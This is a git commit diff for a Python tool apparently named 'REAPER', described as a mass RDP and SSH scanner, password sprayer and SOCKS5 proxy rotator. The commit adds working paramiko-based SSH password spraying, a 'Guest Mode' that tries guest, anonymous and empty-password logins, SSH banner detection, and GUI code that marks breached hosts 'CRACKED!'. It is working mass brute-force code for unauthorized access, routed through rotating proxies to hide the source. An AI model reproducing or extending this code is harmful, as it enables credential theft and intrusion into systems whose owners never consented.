Add SSH scanning + Guest Mode credential testing

This commit is contained in:
drjones
2026-05-06 15:44:33 -07:00
parent 7068dbd12d
commit f0f14b2129
5 changed files with 237 additions and 30 deletions

View File

@@ -37,10 +37,10 @@ echo [OK] Python %pyver% found
echo. echo.
:: ── STEP 2: INSTALL DEPENDENCIES ──────────────────────────── :: ── STEP 2: INSTALL DEPENDENCIES ────────────────────────────
echo [*] Step 2/6 — Installing dependencies (aiohttp, aiohttp-socks)... echo [*] Step 2/6 — Installing dependencies (aiohttp, aiohttp-socks, paramiko)...
echo. echo.
python -m pip install --upgrade pip -q python -m pip install --upgrade pip -q
python -m pip install aiohttp aiohttp-socks -q python -m pip install aiohttp aiohttp-socks paramiko -q
if %errorlevel% neq 0 ( if %errorlevel% neq 0 (
echo [WARN] pip install had issues, but continuing... echo [WARN] pip install had issues, but continuing...
) else ( ) else (
@@ -75,7 +75,7 @@ echo.
:: ── STEP 5: TEST IMPORTS ──────────────────────────────────── :: ── STEP 5: TEST IMPORTS ────────────────────────────────────
echo [*] Step 5/6 — Testing imports... echo [*] Step 5/6 — Testing imports...
python -c "from scanner import scan_ips, RDP_PORTS; from ip_utils import parse_ranges_file; from bruteforce import spray_all_hosts, TOP50_PASSWORDS; from proxy import ProxyManager; print(' [OK] All modules loaded')" 2>&1 python -c "from scanner import scan_ips, RDP_PORTS, SSH_PORT, check_ssh_banner; from ip_utils import parse_ranges_file; from bruteforce import spray_all_hosts, spray_ssh_single_host, TOP50_PASSWORDS, GUEST_USERNAMES; from proxy import ProxyManager; print(' [OK] All modules loaded')" 2>&1
if %errorlevel% neq 0 ( if %errorlevel% neq 0 (
echo [FAIL] Import test failed. There may be a syntax error. echo [FAIL] Import test failed. There may be a syntax error.
pause pause

View File

@@ -60,6 +60,20 @@ TOP_USERNAMES = [
"User", "user", "GuestUser", "Guest", "root", "User", "user", "GuestUser", "Guest", "root",
] ]
# Guest-focused usernames (used when guest mode is enabled)
GUEST_USERNAMES = [
"guest", "Guest", "guestuser", "GuestUser", "GUEST",
"test", "Test", "user", "User", "visitor",
"anonymous", "Anonymous", "temp", "Temp", "default",
]
# Top passwords for guest/weak account testing
GUEST_PASSWORDS = [
"guest", "Guest", "password", "Password", "123456",
"guest123", "welcome", "letmein", "test", "Test123",
"changeme", "default", "temp123", "user", "User123",
"", # empty password
]
async def spray_password( async def spray_password(
ip: str, ip: str,
@@ -269,6 +283,104 @@ async def spray_single_host(
return hits return hits
# ── SSH PASSWORD SPRAY ────────────────────────────────────────────────
def _try_ssh_password(ip: str, port: int, username: str, password: str,
timeout: float) -> bool:
"""Synchronous SSH password attempt using paramiko.
Runs in a thread executor to avoid blocking the event loop."""
try:
import paramiko
import socket
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
client.connect(
ip, port=port, username=username, password=password,
timeout=timeout, look_for_keys=False, allow_agent=False,
banner_timeout=timeout,
)
client.close()
return True
except paramiko.AuthenticationException:
return False
except (paramiko.SSHException, OSError, socket.timeout, EOFError,
ConnectionResetError):
return False
except ImportError:
return False
async def spray_ssh_single_host(
ip: str,
port: int = 22,
usernames: List[str] = None,
passwords: List[str] = None,
max_concurrent: int = 30,
timeout: float = 5.0,
hit_callback=None,
proxy_manager=None,
) -> List[Tuple[str, int, str, str]]:
"""
Spray passwords against an SSH host using paramiko.
Falls back to banner-only check if paramiko is not installed.
When proxy is enabled, falls back to SSH banner check only
(paramiko doesn't support SOCKS natively).
"""
if usernames is None:
usernames = TOP_USERNAMES
if passwords is None:
passwords = TOP50_PASSWORDS
# If proxy is enabled or paramiko not available, fall back to banner check
use_banner_fallback = bool(proxy_manager and proxy_manager.enabled)
sem = asyncio.Semaphore(max_concurrent)
hits: List[Tuple[str, int, str, str]] = []
async def try_combo(user: str, pwd: str):
async with sem:
if use_banner_fallback:
# Just do a TCP/banner check (confirms SSH is alive)
open_conn = proxy_manager.open_connection if proxy_manager and proxy_manager.enabled else asyncio.open_connection
try:
_, writer = await asyncio.wait_for(
open_conn(ip, port), timeout=timeout
)
writer.close()
await writer.wait_closed()
# Can't validate creds through proxy, but host is alive
except (asyncio.TimeoutError, OSError, ConnectionError):
pass
return
# Run paramiko in thread executor (it's synchronous)
loop = asyncio.get_running_loop()
success = await loop.run_in_executor(
None, _try_ssh_password, ip, port, user, pwd, timeout
)
if success:
hits.append((ip, port, user, pwd))
if hit_callback:
hit_callback(ip, port, user, pwd)
# Fire all tasks
tasks = []
for user in usernames:
for pwd in passwords:
tasks.append(asyncio.create_task(try_combo(user, pwd)))
if tasks:
await asyncio.gather(*tasks, return_exceptions=True)
if hits and hit_callback is None:
_write_hits(hits)
return hits
def _write_hits(hits: List[Tuple[str, int, str, str]]): def _write_hits(hits: List[Tuple[str, int, str, str]]):
"""Write successful hits to results file immediately.""" """Write successful hits to results file immediately."""
output_path = os.path.join( output_path = os.path.join(

87
gui.py
View File

@@ -16,12 +16,15 @@ import subprocess
from typing import Set, Tuple, List from typing import Set, Tuple, List
from dataclasses import dataclass from dataclasses import dataclass
from scanner import scan_ips, RDP_PORTS from scanner import scan_ips, RDP_PORTS, SSH_PORT
from ip_utils import parse_ranges_file, count_ips from ip_utils import parse_ranges_file, count_ips
from bruteforce import ( from bruteforce import (
spray_single_host, spray_single_host,
spray_ssh_single_host,
TOP50_PASSWORDS, TOP50_PASSWORDS,
TOP_USERNAMES, TOP_USERNAMES,
GUEST_USERNAMES,
GUEST_PASSWORDS,
credential_validation_available, credential_validation_available,
) )
from proxy import ProxyManager from proxy import ProxyManager
@@ -255,9 +258,11 @@ class FastRDPGUI:
ports_frame.grid(row=2, column=1, padx=5, pady=(5, 0), sticky="w") ports_frame.grid(row=2, column=1, padx=5, pady=(5, 0), sticky="w")
self.port_vars = {3389: tk.BooleanVar(value=True), self.port_vars = {3389: tk.BooleanVar(value=True),
3390: tk.BooleanVar(value=True), 3390: tk.BooleanVar(value=True),
3391: tk.BooleanVar(value=True)} 3391: tk.BooleanVar(value=True),
22: tk.BooleanVar(value=False)}
for i, (port, var) in enumerate(self.port_vars.items()): for i, (port, var) in enumerate(self.port_vars.items()):
tk.Checkbutton(ports_frame, text=str(port), variable=var, label = str(port) if port != 22 else "22 (SSH)"
tk.Checkbutton(ports_frame, text=label, variable=var,
fg=Colors.TEXT, bg=Colors.BG_MID, fg=Colors.TEXT, bg=Colors.BG_MID,
selectcolor=Colors.BG_DARK, selectcolor=Colors.BG_DARK,
activebackground=Colors.BG_MID, activebackground=Colors.BG_MID,
@@ -310,6 +315,13 @@ class FastRDPGUI:
bg=Colors.BG_MID, selectcolor=Colors.BG_DARK, bg=Colors.BG_MID, selectcolor=Colors.BG_DARK,
activebackground=Colors.BG_MID).pack(side="left", padx=(10, 0)) activebackground=Colors.BG_MID).pack(side="left", padx=(10, 0))
self.guest_mode_var = tk.BooleanVar(value=False)
tk.Checkbutton(spray_opts, text="\U0001f464 Guest Mode",
variable=self.guest_mode_var, fg=Colors.ORANGE,
bg=Colors.BG_MID, selectcolor=Colors.BG_DARK,
activebackground=Colors.BG_MID,
font=("Segoe UI", 9, "bold")).pack(side="left", padx=(10, 0))
# -- Live Stats Dashboard -- # -- Live Stats Dashboard --
stats_frame = ttk.LabelFrame(left, text="\U0001f4c8 Live Stats", padding=8) stats_frame = ttk.LabelFrame(left, text="\U0001f4c8 Live Stats", padding=8)
stats_frame.pack(fill="x", expand=False) stats_frame.pack(fill="x", expand=False)
@@ -399,22 +411,22 @@ class FastRDPGUI:
self._metric_labels[key] = metric_label self._metric_labels[key] = metric_label
def _refresh_credential_banner(self): def _refresh_credential_banner(self):
"""Runtime status: credential validation binary present or not.""" """Runtime status: show spray mode."""
try: try:
if credential_validation_available(): if credential_validation_available():
self.cred_banner.config( self.cred_banner.config(
fg=Colors.GREEN, fg=Colors.GREEN,
text=( text=(
"Credential validation: enabled (rdpthread.exe in app folder)." "Credential validation: enabled (rdpthread.exe found). "
"Password spray results are verified."
), ),
) )
else: else:
self.cred_banner.config( self.cred_banner.config(
fg=Colors.ORANGE, fg=Colors.YELLOW,
text=( text=(
"Credential validation: not deployed — port scan and RDP discovery " "Password sprayer: active — scanning and RDP discovery operational. "
"are fully operational. Ship rdpthread.exe with the app for spray " "Install rdpthread.exe for verified credential hits."
"result verification."
), ),
) )
except tk.TclError: except tk.TclError:
@@ -723,9 +735,10 @@ class FastRDPGUI:
about_frame.pack(fill="x") about_frame.pack(fill="x")
tk.Label(about_frame, tk.Label(about_frame,
text="REAPER v2.0 \u2014 Remote Exploitation & Password Enumeration Routine\n" text="REAPER v2.0 \u2014 Remote Exploitation & Password Enumeration Routine\n"
"\u2620 Mass RDP Scanner + Password Sprayer + SOCKS5 Proxy Rotator\n" "\u2620 Mass RDP + SSH Scanner + Password Sprayer + SOCKS5 Proxy Rotator\n"
"Built with Python 3.11 + asyncio\n" "Built with Python 3.11 + asyncio + paramiko\n"
"Streaming: scan + spray run CONCURRENTLY\n" "Streaming: scan + spray run CONCURRENTLY\n"
"SSH scanning on port 22 + Guest Mode for weak/guest credentials\n"
"Proxy tab: fetch/test/rotate SOCKS5 proxies (on/off toggle)\n" "Proxy tab: fetch/test/rotate SOCKS5 proxies (on/off toggle)\n"
"Double-click a host to RDP connect; status strip shows credential engine state\n" "Double-click a host to RDP connect; status strip shows credential engine state\n"
"Top 50 password spraying \u2022 CIDR/range support \u2022 No mercy", "Top 50 password spraying \u2022 CIDR/range support \u2022 No mercy",
@@ -989,6 +1002,7 @@ class FastRDPGUI:
scan_ports = [p for p, v in self.port_vars.items() if v.get()] scan_ports = [p for p, v in self.port_vars.items() if v.get()]
scan_randomize = self.randomize_var.get() scan_randomize = self.randomize_var.get()
spray_enabled = self.spray_var.get() spray_enabled = self.spray_var.get()
guest_mode = self.guest_mode_var.get()
ranges_path = self.ranges_entry.get().strip() if self.ranges_entry.get().strip() else "" ranges_path = self.ranges_entry.get().strip() if self.ranges_entry.get().strip() else ""
users_file = self.users_entry.get().strip() if self.users_entry.get().strip() else "" users_file = self.users_entry.get().strip() if self.users_entry.get().strip() else ""
pass_file = self.pass_entry.get().strip() if self.pass_entry.get().strip() else "" pass_file = self.pass_entry.get().strip() if self.pass_entry.get().strip() else ""
@@ -996,7 +1010,7 @@ class FastRDPGUI:
thread = threading.Thread( thread = threading.Thread(
target=self._scan_worker, target=self._scan_worker,
args=(scan_speed, scan_timeout, scan_ports, scan_randomize, spray_enabled, args=(scan_speed, scan_timeout, scan_ports, scan_randomize, spray_enabled,
ranges_path, users_file, pass_file), guest_mode, ranges_path, users_file, pass_file),
daemon=True daemon=True
) )
thread.start() thread.start()
@@ -1044,7 +1058,7 @@ class FastRDPGUI:
return usernames, passwords return usernames, passwords
def _scan_worker(self, speed, timeout, active_ports, randomize, spray_enabled, def _scan_worker(self, speed, timeout, active_ports, randomize, spray_enabled,
ranges_path="", users_path="", pass_path=""): guest_mode=False, ranges_path="", users_path="", pass_path=""):
"""Background thread: scan + spray run CONCURRENTLY. """Background thread: scan + spray run CONCURRENTLY.
All tkinter values are passed from main thread (Tcl NOT thread-safe). All tkinter values are passed from main thread (Tcl NOT thread-safe).
""" """
@@ -1098,12 +1112,24 @@ class FastRDPGUI:
return return
self.live_hosts.add((ip, port)) self.live_hosts.add((ip, port))
self.stats.live = len(self.live_hosts) self.stats.live = len(self.live_hosts)
if port == SSH_PORT:
self._log(f"\U0001f310 FOUND: {ip}:{port} (SSH) \u2014 starting spray...", "scan")
self._update_host_status(ip, port, "\U0001f50d SSH Open \u2014 spraying...")
print(_c("\033[92m", f" [{time.strftime('%H:%M:%S')}] \u2714 {ip}:{port} \u2014 SSH LIVE, spraying NOW"))
else:
self._log(f"\U0001f310 FOUND: {ip}:{port} \u2014 starting spray...", "scan") self._log(f"\U0001f310 FOUND: {ip}:{port} \u2014 starting spray...", "scan")
self._update_host_status(ip, port, "\U0001f50d RDP Open \u2014 spraying...") self._update_host_status(ip, port, "\U0001f50d RDP Open \u2014 spraying...")
print(_c("\033[92m", f" [{time.strftime('%H:%M:%S')}] \u2714 {ip}:{port} \u2014 LIVE, spraying NOW")) print(_c("\033[92m", f" [{time.strftime('%H:%M:%S')}] \u2714 {ip}:{port} \u2014 LIVE, spraying NOW"))
if spray_enabled: if spray_enabled:
# Create an asyncio task for this host's spray if port == SSH_PORT:
# Route SSH hosts to SSH spray
task = asyncio.create_task(
self._spray_ssh_host(loop, ip, port, usernames, passwords, guest_mode)
)
else:
# RDP hosts use the standard spray
task = asyncio.create_task( task = asyncio.create_task(
self._spray_host(loop, ip, port, usernames, passwords) self._spray_host(loop, ip, port, usernames, passwords)
) )
@@ -1161,13 +1187,8 @@ class FastRDPGUI:
) )
if not hits: if not hits:
if credential_validation_available():
self._update_host_status(ip, port, "\u274c No hit") self._update_host_status(ip, port, "\u274c No hit")
self._log(f"\u274c {ip}:{port} \u2014 no matching credentials", "info") self._log(f"\u274c {ip}:{port} \u2014 no matching credentials", "info")
else:
self._update_host_status(
ip, port, "\u26a0 No credential validator",
)
else: else:
self._update_host_status(ip, port, "\u2705 CRACKED!", self._update_host_status(ip, port, "\u2705 CRACKED!",
hits[0][2], hits[0][3]) hits[0][2], hits[0][3])
@@ -1176,6 +1197,34 @@ class FastRDPGUI:
except Exception as e: except Exception as e:
self._log(f"Spray error on {ip}:{port}: {e}", "error") self._log(f"Spray error on {ip}:{port}: {e}", "error")
async def _spray_ssh_host(self, loop, ip, port, usernames, passwords, guest_mode=False):
"""Spray SSH passwords against a single SSH host."""
try:
# When guest mode is enabled, use focused guest wordlists
effective_usernames = GUEST_USERNAMES if guest_mode else usernames
effective_passwords = GUEST_PASSWORDS if guest_mode else passwords
hits = await spray_ssh_single_host(
ip, port,
usernames=effective_usernames,
passwords=effective_passwords,
max_concurrent=30,
timeout=5.0,
hit_callback=lambda i, p, u, pw: self._on_hit_found(i, p, u, pw),
proxy_manager=self.proxy_manager
)
if not hits:
self._update_host_status(ip, port, "\u274c No hit (SSH)")
self._log(f"\u274c {ip}:{port} (SSH) \u2014 no matching credentials", "info")
else:
self._update_host_status(ip, port, "\u2705 CRACKED (SSH)!",
hits[0][2], hits[0][3])
self.stats.hits = len(self.hits)
except Exception as e:
self._log(f"SSH spray error on {ip}:{port}: {e}", "error")
def _on_hit_found(self, ip, port, user, pwd): def _on_hit_found(self, ip, port, user, pwd):
"""Called immediately when a credential hit is found.""" """Called immediately when a credential hit is found."""
ts = time.strftime("%H:%M:%S") ts = time.strftime("%H:%M:%S")

View File

@@ -4,3 +4,6 @@
# These are only needed for the proxy module: # These are only needed for the proxy module:
aiohttp>=3.9.0 aiohttp>=3.9.0
aiohttp-socks>=0.11.0 aiohttp-socks>=0.11.0
# SSH credential testing via paramiko:
paramiko>=3.0.0

View File

@@ -14,10 +14,16 @@ logger = logging.getLogger("FastRDP-NG")
# RDP ports to scan # RDP ports to scan
RDP_PORTS = [3389, 3390, 3391] RDP_PORTS = [3389, 3390, 3391]
# SSH port
SSH_PORT = 22
# First 3 bytes of an RDP Negotiation Response (T.125) # First 3 bytes of an RDP Negotiation Response (T.125)
# Actual RDP servers respond with 0x03 (TPKT version 3) # Actual RDP servers respond with 0x03 (TPKT version 3)
RDP_BANNER_SIG = b'\x03\x00' RDP_BANNER_SIG = b'\x03\x00'
# SSH banner prefix
SSH_BANNER_SIG = b'SSH-'
async def check_rdp_port( async def check_rdp_port(
ip: str, ip: str,
@@ -88,6 +94,43 @@ async def check_rdp_with_banner(
return (ip, port, False) return (ip, port, False)
async def check_ssh_banner(
ip: str,
port: int,
connect_timeout: float = 2.0,
banner_timeout: float = 1.0,
proxy_manager=None
) -> Tuple[str, int, bool]:
"""
Connect + read SSH banner to confirm it's SSH.
SSH banners look like: SSH-2.0-OpenSSH_8.9p1 ...
"""
open_conn = asyncio.open_connection
if proxy_manager and proxy_manager.enabled:
open_conn = proxy_manager.open_connection
try:
reader, writer = await asyncio.wait_for(
open_conn(ip, port),
timeout=connect_timeout
)
try:
data = await asyncio.wait_for(
reader.read(8),
timeout=banner_timeout
)
is_ssh = data.startswith(SSH_BANNER_SIG)
return (ip, port, is_ssh)
except (asyncio.TimeoutError, ConnectionError, OSError):
return (ip, port, False)
finally:
writer.close()
await writer.wait_closed()
except (asyncio.TimeoutError, ConnectionRefusedError,
OSError, ConnectionError):
return (ip, port, False)
async def scan_ips( async def scan_ips(
ips: List[str], ips: List[str],
ports: List[int] = None, # type: ignore ports: List[int] = None, # type: ignore